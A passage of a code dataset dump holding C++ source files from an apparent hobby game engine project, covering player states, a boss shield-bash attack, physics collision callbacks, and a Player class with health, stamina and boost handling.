m_cameraCollisionSolver;\n\tconst float m_sphereCollisionRadius = 0.5f;\n\n\tfloat enemyTargetChangeTime = 0.f;\n\tPositionChecker* m_posChecker = nullptr;\n\tPositionChecker* m_posCheckerL = nullptr;\n\tPositionChecker* m_posCheckerR = nullptr;\n\tint m_targetEnemyNo = 0;\n\n\t//カメラの急な動きを防ぐ用.\n\tfloat m_oldDist = 100.f;\n\tbool m_isInitedInitialDist = false;\n\n\tbool m_isPerforming = false;\n};\n\nstatic const void DebugLogVec3(const Vector3& vec) {\n\tprintf(\"Vec X : %f / Vec Y : %f / Vec Z : %f\\n\", vec.x, vec.y, vec.z);\n}\n"
},
{
"alpha_fraction": 0.7130976915359497,
"alphanum_fraction": 0.7318087220191956,
"avg_line_length": 21.85714340209961,
"blob_id": "042afe19ed6f3a2f62cade26966a9bbd0dd65dbb",
"content_id": "0fd3647aab5ba624ebc3c746d38b6fc9de912e91",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 481,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 21,
"path": "/Game/Player/State/PlayerDeadState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IPlayerSstate.h\"\n\nclass PlayerDeadState : public IPlayerState\n{\npublic:\n\tPlayerDeadState();\n\t~PlayerDeadState();\n\tvoid Enter(Player*) override;\n\tIPlayerState* Update(Player*) override;\n\tvoid Exit(Player*) override;\nprivate:\n\tconst float m_RespawnTime = 5.f;\n\tconst float m_fadeOutTime = 3.0f;\n\tfloat m_respawnTimer = 0.f;\n\tbool m_isFadedToRespawn = false;\n\tfloat m_gravity = 9.f;\n\n\tVector3 m_velocity = Vector3::Zero;\n\tVector3 m_fricVel = Vector3::Zero;\n};\n\n"
},
{
"alpha_fraction": 0.748344361782074,
"alphanum_fraction": 0.748344361782074,
"avg_line_length": 17.875,
"blob_id": "8d89c6f4463b4f9b416e6338494ea93f887b2e7e",
"content_id": "d6794b44155bdec91d70ceb81da5e78f31452f60",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 402,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 16,
"path": "/UsualEngineR/system/system.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n\nnamespace UER\n{\n\t\n\tclass GraphicsEngine;\n\textern HWND\t\t\tg_hWnd ;\t\t\t\t//ウィンドウハンドル。\n\t\n\t//ゲームの初期化。\n\tvoid InitGame(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nCmdShow, const TCHAR* appName);\n\t//ウィンドウメッセージをディスパッチ。falseが返ってきたら、ゲーム終了。\n\tbool DispatchWindowMessage();\n\n\n}\n"
},
{
"alpha_fraction": 0.7446808218955994,
"alphanum_fraction": 0.7446808218955994,
"avg_line_length": 22.5,
"blob_id": "fd4a20c8d96c737bce16fb300db36cfe757f5f36",
"content_id": "b2658fb1618680b81e4c8fb94b03526ae55fb375",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 47,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 2,
"path": "/Game/Player/Attack/IPlayerAttack.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"IPlayerAttack.h\"\n"
},
{
"alpha_fraction": 0.6854933500289917,
"alphanum_fraction": 0.6967424154281616,
"avg_line_length": 23.953216552734375,
"blob_id": "eb6df76fa973b3eb7c362c6064d7a36a05daffe7",
"content_id": "36244d3ab7edd2caf88e9acc37956a2635640ce4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4535,
"license_type": "no_license",
"max_line_length": 203,
"num_lines": 171,
"path": "/Game/Enemy/State/MiddleBombState/BossBombBashState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"BossBombBashState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_MiddleBomb.h\"\n#include \"GameManager.h\"\n\n#include \"Enemy/Equipment/Enemy_LaunchBomb.h\"\n\n\nstruct SweepResult : public btCollisionWorld::ConvexResultCallback\n{\n\tbool isHit = false;\n\tVector3 hitPos = Vector3::Zero;\n\tconst Vector3& startPos;\n\tfloat dist = FLT_MAX;\n\tint collAttr = enCollisionAttr_None;\n\n\tSweepResult(const Vector3& v) :\n\t\tstartPos(v)\n\t{\n\t}\n\n\tbtScalar\taddSingleResult(btCollisionWorld::LocalConvexResult& convexResult, bool normalInWorldSpace)\n\t{\n\t\tint index = convexResult.m_hitCollisionObject->getUserIndex();\n\t\t//キャラコンでもグラウンドでもない場合早期出社。\n\t\tif (!(index & enCollisionAttr_Character\n\t\t\t|| index & enCollisionAttr_Ground))\n\t\t{\n\t\t\treturn 0.f;\n\t\t}\n\n\t\tisHit = true;\n\t\tVector3 hitp = *(Vector3*)& convexResult.m_hitPointLocal;\n\t\tVector3 div = startPos - hitp;\n\t\tfloat dis = div.Length();\n\t\tif (dis < dist)\n\t\t{\n\t\t\thitPos = *(Vector3*)& convexResult.m_hitPointLocal;\n\t\t\tdist = dis;\n\t\t\tcollAttr = index;\n\t\t}\n\t\treturn 0.0f;\n\t}\n};\nstruct ContactTestResult :public btCollisionWorld::ContactResultCallback\n{\n\tbool isHit = false;\n\n\t// ContactResultCallback を介して継承されました\n\tvirtual btScalar addSingleResult(btManifoldPoint& cp, const btCollisionObjectWrapper* colObj0Wrap, int partId0, int index0, const btCollisionObjectWrapper* colObj1Wrap, int partId1, int index1) override\n\t{\n\t\tint ind = colObj0Wrap->getCollisionObject()->getUserIndex();\n\t\t//player かどうかの判定!\n\t\tif (ind & GameCollisionAttribute::Player)\n\t\t\tisHit = true;\n\t\t//\treturn 0.f;\n\t\t\n\t\treturn 0.f;\n\t}\n};\nBossBombBashState::BossBombBashState()\n{\n}\n\nBossBombBashState::~BossBombBashState()\n{\n}\n\n//判定変えてた\n//void BossBombBashState::Init(IEnemy* e)\n//{\n////\tm_sphere.Create(15.0f);\n//\t\n////\tBossBombData::GetInstance().shieldGhost->Create(&m_sphere, e->GetPosition(), Quaternion::Identity);\n//}\n\nvoid BossBombBashState::Enter(IEnemy* e)\n{\n\tVector3 RotVec = GameManager::GetInstance().m_player->GetPosition() - e->GetPosition();\n\tRotVec.y = 0.f;\n\tRotVec.Normalize();\n\n\te->SetVelocity(RotVec);\n\te->SetAutoRotateFlag(true);\n\n\t//SetAutoRotateという機能を見つけたのでコメントアウト\n\t//float angle = atan2(RotVec.x, RotVec.z);\n\t//Quaternion rot;\n\t//rot.SetRotation(Vector3::AxisY, angle);\n\n\t//e->GetModel()->SetRotation(rot);\n\n\t//e->SetVelocity(Vector3::Zero);\n\te->PlayAnimation(TO_INT(Boss_MiddleBomb::EnAnimEX::Bash));\n\tauto& BBData = BossBombData::GetInstance();\n\tBBData.isBashAttack = true;\n\tm_timer = 0.;\n\t//m_sphere.Create(1.0);\n\tm_isBashHit = false;\n}\n\nIEnemyState* BossBombBashState::Update(IEnemy* e)\n{\n\tauto& BBData = BossBombData::GetInstance();\n\n\tfloat dtime = gameTime()->GetDeltaTime();\n\tm_timer += gameTime()->GetDeltaTime();\n\tif (m_timer > m_timeLimit)\n\t{\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enBattleState));\n\t}\n\t//Init(e);\n\n\t//バッシュアタック中かつ当たれば\n\tif (BBData.isBashAttack && !m_isBashHit) {\n\n\t\tfor (int i = 0; i < BBData.shieldGhost->GetGhost()->getNumOverlappingObjects(); i++)\n\t\t{\n\t\t\tauto o = BBData.shieldGhost->GetGhost()->getOverlappingObject(i);\n\t\t\tint ind = o->getUserIndex();\n\n\t\t\tBBData.shieldGhost->GetGhost()->getOverlappingObject(i);\n\t\t\tif (ind & GameCollisionAttribute::Player)\n\t\t\t{\n\t\t\t\tauto& p = GameManager::GetInstance().m_player;\n\t\t\t\tauto f = e->GetForward();\n\t\t\t\tp->ApplyDamage(10, true, f * 200);\n\n\t\t\t\tm_isBashHit = true;\t//盾にめり込んで無限ハメ→死亡がありえるので追加\n\t\t\t\tCSoundSource* se = NewGO<CSoundSource>(0, \"Bash\");\n\t\t\t\tse->Init(L\"Assets/sound/Bash.wav\");\n\t\t\t\tse->Play(false);\n\t\t\t\tse->SetVolume(1.0f);\n\t\t\t}\n\t\t}\n\t}\n\n\n\n\t//判定をとりだし\n\t//ContactTestResult ctr;\n\t//Physics().ContactTest(BBData.rigidBody->GetBody(), ctr);\n\t//if (ctr.isHit && !m_isBashHit) {\n\t//\tauto& p = GameManager::GetInstance().m_player;\n\t//\tauto f = e->GetForward();\n\t//\tf.Normalize();\n\t//\tp->ApplyDamage(p->GetMaxHP()/15, true, f * 200);\n\t//\tm_isBashHit = true;\t//盾にめり込んで無限ハメ→死亡がありえるので追加\n\n\t//\tCSoundSource* se = NewGO<CSoundSource>(0, \"Bash\");\n\t//\tse->Init(L\"Assets/sound/Bash.wav\");\n\t//\tse->Play(false);\n\t//\tse->SetVolume(1.0f);\n\t//}\n\n\t//m_rigidBody.Create(info);\n\t//m_rigidBody.GetBody()->setUserIndex(enCollisionAttr_Wall | GameCollisionAttribute::BombShield);\n\t//Physics().AddRigidBody(m_rigidBody);\n\n\treturn this;\n}\n\nvoid BossBombBashState::Exit(IEnemy* e)\n{\n}\n\nvoid BossBombBashState::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.7098121047019958,
"alphanum_fraction": 0.7296450734138489,
"avg_line_length": 21.23255729675293,
"blob_id": "165c3ca980ba204a4a38580f3f4c38c771965fce",
"content_id": "b315420882f1cadfc7ab7bfff7b114959e2a2016",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 958,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 43,
"path": "/Game/Player/Attack/MeleePreset/PlayerAttackRevolvingTackle.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IPlayerAttack.h\"\n\nclass PlayerAttackRevolvingTackle : public IPlayerAttack\n{\npublic:\n\tPlayerAttackRevolvingTackle();\n\tvirtual ~PlayerAttackRevolvingTackle() override;\n\n\tvirtual void Init(Player*, int combo) override;;\n\tvirtual void Execute(Player*) override;\n\n\tvirtual const bool IsDone() override {\n\t\treturn m_isDone;\n\t}\n\n\tvirtual const float GetInterval() override {\n\t\treturn m_interval;\n\t}\n\tvirtual const bool IsContinueAttack() override {\n\t\treturn m_isContinuAttack;\n\t}\nprivate:\n\n\tbool m_isDone = false;\n\tbool m_isContinuAttack = false;\n\tconst float m_interval = 0.3f;\n\tfloat m_timer = 0.f;\n\tfloat m_REVOLVE_TIME = 1.f;\n\n\tconst float m_tacklePower = 150.f;\n\tfloat m_range = 10.f;\n\tconst float m_damageAmount = m_DEFAULT_ATTACK_DAMAGE * 7.f;\n\n\tconst float m_StaminaCost = 30.f;\n\tconst float m_BoostCost = 30.f;\n\n\tconst float m_knockBackPower = 230.f;\n\n\tbool m_canDoAttack = true;\n\n\tVector3 m_tackleVelocity = Vector3::Zero;\n};\n\n\n"
},
{
"alpha_fraction": 0.6907142996788025,
"alphanum_fraction": 0.7192857265472412,
"avg_line_length": 27.59183692932129,
"blob_id": "114fad41d97169cdeca1450185f65fc8584387f9",
"content_id": "aa359bd69a4f4d4cffab79848e5ae0fd49128963",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1476,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 49,
"path": "/Game/Player/State/PlayerFlyingState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n#include \"IPlayerSstate.h\"\n#include \"Player/Attack/DistantPreset/PlayerAttackHipShot2.h\"\nclass Player;\nclass KeyHelp;\n\n/// <summary>\n/// \n/// </summary>\nclass PlayerFlyingState :public IPlayerState\n{\npublic:\n\tPlayerFlyingState();\n\tvirtual ~PlayerFlyingState() override;\n\tvoid Enter(Player*) override;\n\tIPlayerState* Update(Player*) override;\n\tvoid Exit(Player*) override;\nprivate:\n\tbool m_canRise = true;\n\tbool m_isFirstRising = true;\n\n\tVector3 m_velocity = Vector3::Zero;\n\tVector3 m_velocityGoal = Vector3::Zero;\n\tVector3 m_bPos = Vector3::Zero;\n\n\tconst float m_ENDURANCE_AUTO_CHARGE_AMOUNT = 5.f;\n\n\tconst float m_rise = 3.5f;\n\tconst float m_MIN_ALTITUDE = 50.f;\n\tconst float m_VELOCITY_BOOST = 2.f;\n\tconst float m_VELOCITY_MAX = 4.f;\n\t//const float m_QUICKNESS = 40.f;\n\tconst float m_QUICKNESS = 70.f;\n\tconst float m_AUTO_RISE_PARAM = 10.f; //自動上昇時の最大Velocityは通常時の何倍か\n\n\tconst float m_FIRST_RISE_BOOST_COST = 50.f;\n\tconst float m_BOOST_EFFICIENCY = 300.f / 15.f; //燃費,値が大きいほど悪い...\n\t//const float m_BOOST_EFFICIENCY = 0.f; //燃費,値が大きいほど悪い...\n\tconst float m_BOOST_RUN_EFFICIENCY = 300.f / 5.f;\n\t//const float m_BOOST_RUN_EFFICIENCY = 0.f;\n\tconst float m_RISE_BOOST_EFFICIENCY = 300.f / 1.5f;\n\t//const float m_RISE_BOOST_EFFICIENCY = 0.f;\n\n\tPlayerAttackHipShot2 m_hipShot;\n\n\tKeyHelp* m_keyHelp_Rise = nullptr;\n\tKeyHelp* m_keyHelp_Switch = nullptr;\n\t//KeyHelp* m_keyHelp_Faster = nullptr;\n};"
},
{
"alpha_fraction": 0.6724814772605896,
"alphanum_fraction": 0.6803314685821533,
"avg_line_length": 18.768964767456055,
"blob_id": "9c75a3012c9939c48aa5a776a6c3d363d1d4fdc3",
"content_id": "353225eed6a0af969627d2c471c49c879ae583f4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 12235,
"license_type": "no_license",
"max_line_length": 108,
"num_lines": 580,
"path": "/Game/Player/Player.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"State/IPlayerSstate.h\"\n#include \"../../UsualEngineR/Character/CharacterController.h\"\n#include \"Effect/ParticleEffect.h\"\n#include \"../GameManager.h\"\n\nclass IEnemy;\nclass GameCamera;\nclass Pod;\nclass JetPack;\nclass JetEffect;\nclass Gun;\nclass Shield;\nclass ExplosionEffect;\n\n/// <summary>\n/// \n/// </summary>\nclass Player final : public GameObject\n{\npublic:\n\n\tenum class EnState {\n\t\tenGround,\n\t\tenFlying,\n\t\tenFall,\n\t\tenDiving,\n\t\tenAttack,\n\t\tenGuard,\n\t\tenStun,\n\t\tenDead,\n\t\tenChurch,\n\t\tenMovie,\n\t\tenNumState\n\t};\n\n\tenum class EnAnimation {\n\t\tenIdle,\n\t\tenRun,\n\t\tenWalk,\n\t\tenFall,\n\t\tenHovering,\n\t\tenFlyMove,\n\t\tenFlyMoveFaster,\n\t\t//enDamage,\n\t\tenGuard,\n\t\tenKnockBack,\n\t\tenAttack,\n\t\tenPunch1,\n\t\tenPunch2,\n\t\tenPunch3,\n\t\tenKick,\n\t\tenThrow,\n\t\tenTackle,\n\t\tenRevolvingTackle,\n\t\tenDead,\n\t\tenNumAnim\n\t};\n\n\tenum class EnAttackType {\n\t\tenSlash,\n\t\tenRemoteAttackPreset,\n\t\tenMeleePreset,\n\t\tenNumAttackType,\n\t\tenNone,\n\t};\n\n\tenum class EnAttackPreset {\n\t\tenDefault,\n\t\tenRemoteAttackPreset,\n\t\tenMeleePreset,\n\t\tenExplosivePreset,\n\t\tenNumPreset\n\t};\n\n\tenum class EnPlayerBone {\n\t\tenBack,\n\t\tenSOLE_L,\n\t\tenSOLE_R,\n\t\tenHand_R,\n\t\tenHand_L,\n\t\tenNumBoneType\n\t};\n\n\tPlayer();\n\tvirtual ~Player();\n\n\t/// <summary>\n\t/// 本開放。確保したものを開放するための関数。\n\t/// </summary>\n\tvirtual void Release() override;\n\n\t/// <summary>\n\t/// このオブジェクトの所持するゲームオブジェクト等を消すための関数。\n\t/// 面倒くさければRelease関数と同じでもよい。\n\t/// </summary>\n\tvirtual void OnDestroy() override;\n\n\n\t/// <summary>\n\t/// NewGO時に即座に呼ばれる関数。\n\t/// コンストラクタの代わりに使おう。\n\t/// </summary>\n\tvoid Awake() override;\n\n\t/// <summary>\n\t/// スタート関数。\n\t/// </summary>\n\t/// <returns>trueを返さない限り、ずっとStartを呼び続ける</returns>\n\tbool Start() override;\n\n\t/// <summary>\n\t/// 更新。の前に呼ばれる更新。\n\t/// </summary>\n\tvoid PreUpdate() override;\n\t/// <summary>\n\t/// 更新。\n\t/// </summary>\n\tvoid Update() override;\n\t/// <summary>\n\t/// 更新。の後に呼ばれる更新。\n\t/// </summary>\n\tvoid PostUpdate() override;\n\n\n\t/// <summary>\n\t/// 描画。\n\t/// </summary>\n\tvoid Render() override;\n\n\t/// <summary>\n\t/// 手前に表示するやつの描画。\n\t/// </summary>\n\tvoid PostRender() override;\n\n\t/// <summary>\n\t/// プレイヤーのステートクラスを取得する\n\t/// </summary>\n\t/// <param name=\"state\">取得したいステートの種類</param>\n\t/// <returns></returns>\n\tIPlayerState* GetState(const EnState& state) const{\n\t\treturn m_stateList[static_cast<int>(state)];\n\t};\n\n\t/// <summary>\n\t/// 現在のステートに遷移する前のステートを返す\n\t/// </summary>\n\t/// <returns>1つ前のステート</returns>\n\tIPlayerState* GetPreviousState() const {\n\t\treturn m_previousState;\n\t};\n\n\tconst IPlayerState* GetCurrentState() const {\n\t\treturn m_currentState;\n\t}\n\n\t/// <summary>\n\t/// 座標を取得\n\t/// </summary>\n\t/// <returns>座標</returns>\n\tconst Vector3& GetPosition() const {\n\t\treturn m_position;\n\t}\n\n\tvoid SetPosition(const Vector3& pos) {\n\t\tm_position = pos;\n\t\tm_charaCon.SetPosition(pos);\n\t\tm_model->SetPosition(pos);\n\t}\n\n\tvoid Respawn() {\n\t\tSetPosition(m_SpawnPos);\n\t\tSetRotation(m_SpawnRot);\n\t\tm_hp = m_HP_MAX;\n\t\tm_endurance = m_ENDURANCE_MAX;\n\t\tm_boost = m_BOOST_MAX;\n\t\tSetVelocity(Vector3::Zero);\n\t\tSetLocalVelocity(Vector3::Zero);\n\t\tSetExternalVelocity(Vector3::Zero);\n\t}\n\n\tvoid SetVelocity(const Vector3& velocity) {\n\t\tm_velocity = velocity;\n\t}\n\n\tconst Vector3 GetVelocity() const {\n\t\treturn m_velocity;\n\t}\n\n\tvoid SetLocalVelocity(const Vector3& velocity) {\n\t\tm_localVelocity = velocity;\n\t}\n\n\tconst Vector3 GetLocalVelocity() const {\n\t\treturn m_localVelocity;\n\t}\n\n\tvoid PlayAnimation(const EnAnimation& anim, const float interpolate = 0.2f){\n\t\tm_model->Play(static_cast<int>(anim), interpolate);\n\t}\n\n\tconst bool IsPlayingAnimation(){\n\t\treturn m_model->IsAnimPlaying();\n\t}\n\n\tconst float GetCurrentHP() {\n\t\treturn m_hp;\n\t}\n\n\tstatic const float GetMaxHP() {\n\t\t//static const float maxHp = 500.f;\n\t\treturn m_HP_MAX;\n\t}\n\n\tconst float GetCurrentEndurance() {\n\t\treturn m_endurance;\n\t}\n\n\tconst float GetMaxEndurance() {\n\t\treturn m_ENDURANCE_MAX;\n\t}\n\n\tconst bool IsOnGround() {\n\t\treturn m_charaCon.IsOnGround();\n\t}\n\n\tconst Vector3& GetForward() const {\n\t\treturn m_forward;\n\t}\n\n\t/// <summary>\n\t/// プレイヤーにダメージを適用する\n\t/// </summary>\n\t/// <param name=\"damageAmount\"> 攻撃力</param>\n\tvoid ApplyDamage(const float damageAmount, const bool stunFlag = false, const Vector3& vel= Vector3::Zero){\n\t\tauto finalDamage = damageAmount - (damageAmount * m_armorParam / 100.f);\n\t\tm_hp = max(0.f, m_hp - finalDamage);\n\t\tif(stunFlag){\n\n\t\t\t//ガード中はスタン攻撃を無視.\n\t\t\tif (GetCurrentState() == GetState(Player::EnState::enGuard)) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tm_previousState = m_currentState;\n\t\t\tm_currentState->Exit(this);\n\t\t\tm_currentState = m_nextState = m_stateList[static_cast<int>(EnState::enStun)];\n\t\t\tm_knockBackImpulse = vel;\n\t\t\tm_currentState->Enter(this);\n\t\t}\n\t}\n\n\t/// <summary>\n\t/// プレイヤーのアーマーが何%ダメージを軽減できるか設定\n\t/// </summary>\n\t/// <param name=\"param\">param%ダメージ軽減アーマーを着用</param>\n\tvoid SetArmorParam(const float param) {\n\t\tm_armorParam = param;\n\t}\n\n\tvoid Heal(const float amount) {\n\t\tm_hp = min(m_HP_MAX, m_hp + amount);\n\t}\n\n\t/*\n\tvoid SetVelocityGoal(Vector3& velocityGoal) {\n\t\tm_velocityGoal = velocityGoal;\n\t}\n\n\tconst Vector3 GetVelocityGoal() const {\n\t\treturn m_velocityGoal;\n\t}\n\t*/\n\n\t/// <summary>\n\t/// プレイヤーの回転を取得\n\t/// </summary>\n\t/// <returns>プレイヤーに適応されるクォータニオン</returns>\n\tconst Quaternion& GetRotation() const {\n\t\treturn m_rotation;\n\t}\n\n\tvoid SetRotation(const Quaternion& rot) {\n\t\tm_rotation = rot;\n\t\tm_model->SetRotation(rot);\n\t}\n\n\tconst float GetSpeed() const {\n\t\treturn m_speed;\n\t}\n\n\t\n\n\tconst float GetCurrentBoost() {\n\t\treturn m_boost;\n\t}\n\n\tconst float GetMaxBoost() {\n\t\treturn m_BOOST_MAX;\n\t}\n\n\tvoid UseBoost(const float amount) {\n\t\tm_boost = max(0.f, m_boost - amount);\n\t}\n\n\tvoid ChargeBoost(const float amount) {\n\t\tm_boost = min(m_BOOST_MAX, m_boost + amount);\n\t}\n\n\tvoid UseStamina(const float amount) {\n\t\tm_endurance = max(0.f, m_endurance - amount);\n\t}\n\n\tvoid ChargeEndurance(const float amount) {\n\t\tm_endurance = min(m_ENDURANCE_MAX, m_endurance + amount);\n\t}\n\n\t//void SetGameCamera(GameCamera* camera) {\n\t\t//mp_camera = camera;\n\t//}\n\n\t//GameCamera& GetGameCamera() {\n\t\t//return *mp_camera;\n\t//}\n\n\tconst EnAttackPreset& GetCurrentAttackPreset() const{\n\t\treturn m_currentAttackPreset;\n\t}\n\tconst bool* GetAttackPresetFrag() const\n\t{\n\t\treturn m_canUsePreset;\n\t}\n\n\tvoid UnlockPreset(const EnAttackPreset& preset) {\n\t\tm_canUsePreset[TO_INT(preset)] = true;\n\t}\n\n\tvoid LockAllDropPreset() {\n\t\tfor (int i = 1; i < TO_INT(EnAttackPreset::enNumPreset); i++) {\n\t\t\tm_canUsePreset[i] = false;\n\t\t}\n\t\tm_currentAttackPreset = EnAttackPreset::enDefault;\n\t}\n\n\tPod* GetPod() const {\n\t\treturn GameManager::GetInstance().GetPod();\n\t}\n\n\tModel& GetModel() {\n\t\treturn m_model->GetModel();\n\t}\n\n\tModelRender& GetModelRender() {\n\t\treturn *m_model;\n\t}\n\n\tconst Bone* GetBone(const EnPlayerBone& boneType) const{\n\t\treturn m_playerBones.at(TO_INT(boneType));\n\t}\n\n\tGun* const GetGun() {\n\t\treturn m_gun;\n\t}\n\n\tShield* const GetShield() {\n\t\treturn m_shield;\n\t}\n\n\tJetPack* const GetJetPack() {\n\t\treturn m_jetPack;\n\t}\n\n\tvoid FireThrusters() {\n\t\tm_isUsingThrusters = true;\n\t\tm_jetSE->Play(true);\n\t}\n\n\tvoid StopThrusters() {\n\t\tm_isUsingThrusters = false;\n\t\tm_jetSE->Stop();\n\t}\n\n\tconst bool IsUsingThrusters() {\n\t\treturn m_isUsingThrusters;\n\t}\n\n\tconst bool ColCheck(const Player::EnPlayerBone&);\n\n\tconst float GetCharaRadius() {\n\t\treturn m_charaConRadius;\n\t}\n\n\tvoid SetExternalVelocity(const Vector3& velocity) {\n\t\tm_externalVelocity = velocity;\n\t}\n\n\tvoid Explode();\n\n\tvoid SetState(IPlayerState* s) {\n\n\t\tif (m_currentState == nullptr) {\n\t\t\tm_previousState = m_currentState = s;\n\t\t\tm_currentState->Enter(this);\n\t\t\treturn;\n\t\t}\n\n\t\tif (s == m_currentState) return;\n\t\tm_nextState = s;\n\n\t}\n\n\tvoid SetStateSudden(IPlayerState* s) {\n\n\t\tif (m_currentState == nullptr) {\n\t\t\tm_previousState = m_currentState = s;\n\t\t\tm_currentState->Enter(this);\n\t\t\treturn;\n\t\t}\n\n\t\tif (s == m_currentState) return;\n\t\tm_nextState = s;\n\t\tm_currentState->Exit(this);\n\t\tm_previousState = m_currentState;\n\t\tm_currentState = m_nextState;\n\t\tm_currentState->Enter(this);\n\t}\n\n\tvoid SetChruchFlag(const bool isInChurch) {\n\t\tm_isInChurch = isInChurch;\n\t}\n\n\t/// <summary>\n\t/// IKをゲット\n\t/// ない場合はnullptrを返す\n\t/// </summary>\n\t/// <param name=\"ikKind\">EnIKとか</param>\n\t/// <returns></returns>\n\tIK* GetIK(const int ikKind) const\n\t{\n\t\tif (m_ikMap.size() == 0) return nullptr;\n\n\t\tauto it = m_ikMap.find(ikKind);\n\n\t\tif (it == m_ikMap.end()) {\n\t\t\treturn nullptr;\n\t\t}\n\n\t\treturn it->second;\n\t}\n\n\n\t//TODO : protect these member\n\tVector3 m_velocity = Vector3::Zero;\n\tVector3 m_localVelocity = Vector3::Zero;\n\tVector3 m_knockBackImpulse = Vector3::Zero;\n\t//Vector3 m_velocityGoal = Vector3::Zero;\n\n\tstd::map<int, std::unique_ptr<CAnimationClip>>& GetAnimationMap() {\n\t\treturn m_animationMap;\n\t}\n\n\tCharacterController& GetCharaCon(){\n\t\treturn m_charaCon;\n\t}\n\n\tvoid MovePerformance(const Vector3 startPos, const Vector3 velocity, const Quaternion rot);\n\t\nprivate:\n\t//func\n\tvoid SearchTarget();\n\n\tvoid InitIK();\n\n\t/// <summary>\n\t/// 攻撃の種類を選択\n\t/// </summary>\n\tvoid UpdateAttackType();\n\n\n\tvoid SetAnimation(const int no, const char* path, const bool loopFlag) {\n\t\tm_animationMap.insert(std::make_pair(no, std::make_unique<CAnimationClip>()));\n\t\tm_animationMap.at(no)->Load(path);\n\t\tm_animationMap.at(no)->BuildKeyFramesAndAnimationEvents();\n\t\tm_animationMap.at(no)->SetLoopFlag(loopFlag);\n\t\t//auto& animEvent = m_animationMap.at(no)->GetAnimationEvent();\n\t}\n\n\t//Current Attack Type\n\tEnAttackPreset m_currentAttackPreset = EnAttackPreset::enDefault;\n\t//bool m_canUsePreset[TO_INT(EnAttackPreset::enNumPreset)] = { true, true, true , true};\n\tbool m_canUsePreset[TO_INT(EnAttackPreset::enNumPreset)] = { true, false, false, false};\n\n\t//State\n\tIPlayerState* m_nextState = nullptr;\n\tIPlayerState* m_currentState = nullptr;\n\tIPlayerState* m_previousState = nullptr;\n\tstd::vector<IPlayerState*> m_stateList;\n\n\t//Model\n\tModelRender* m_model = nullptr;\n\tCAnimationClip m_animClip[1];\n\t//std::vector<CAnimationClipPtr> m_animlist;\n\tstd::map<int, std::unique_ptr<CAnimationClip>> m_animationMap;\n\n\t//IK\n\tstd::map<int, IK*> m_ikMap;\n\n\t//const Vector3 m_SpawnPos = { 0,15,-100 };\n\tconst Vector3 m_SpawnPos = { 750,15,-680 };\n\tVector3 m_position = m_SpawnPos;\n\tVector3 m_forward = { 0,0,1 };\n\tQuaternion m_SpawnRot = Quaternion::Identity;\n\tQuaternion m_rotation = Quaternion::Identity;\n\tconst Vector3 m_scale = { 0.5f,0.5f,0.5f };\n\n\t//Move\n\tCharacterController m_charaCon;\n\tfloat m_speed = 30.f;\n\tVector3 m_externalVelocity = Vector3::Zero; //外部からの影響\n\n\t//Physics\n\tconst float m_charaConRadius = 1.f;\n\tconst float m_charaConHeight = 6.f;\n\n\t//Pod\n\t//Pod* m_pod = nullptr;\n\n\t//Attachments\n\tstd::vector<Bone*> m_playerBones;\n\tJetPack* m_jetPack = nullptr;\n\tGun* m_gun = nullptr;\n\tShield* m_shield = nullptr;\n\n\tbool m_isInChurch = true;\n\n\n\t//Ability\n\t//TODO : use struct like this\n\t/*\n\tstruct StPlayerAbility {\n\t\tconst float HP;\n\t\tfloat currentHp;\n\t\tconst float STAMINA;\n\t\tfloat currentStamina;\n\t\tconst float BOOST;\n\t\tfloat boost;\n\t};\n\t*/\n\n\tstatic const float m_HP_MAX;\n\tconst float m_ENDURANCE_MAX = 300.f;\n\tconst float m_BOOST_MAX = 300.f;\n\n\tfloat m_hp = m_HP_MAX;\n\t//TODO : change the name endurance to stamina\n\tfloat m_endurance = m_ENDURANCE_MAX;\n\tfloat m_boost = m_BOOST_MAX;\n\tfloat m_armorParam = 0.f; //アーマーでダメージを何パーセント抑えるか. (初期状態 : 0%軽減).\n\n\t//Effecct\n\tconst int RIGHT = 0;\n\tconst int LEFT = 1;\n\t//void InitThrusterEffect();\n\tbool m_isUsingThrusters = false;\n\t//PlaneParticleEffectRender* m_thrusterEffects[2] = { nullptr };\n\tstd::vector<JetEffect*> m_jetEffects;\n\n\t//SE\n\tCSoundSource* m_jetSE = nullptr;\n\n\t//Hands\n\tSphereCollider\t\tm_sphereCollider;\n\tconst float m_HandRadius = 5.f;\n\n\t//Effect\n\tExplosionEffect* m_explosionEffect = nullptr;\n\n\t//\n\tconst int m_ResetPos= 7.f;\n};"
},
{
"alpha_fraction": 0.7171797156333923,
"alphanum_fraction": 0.7215491533279419,
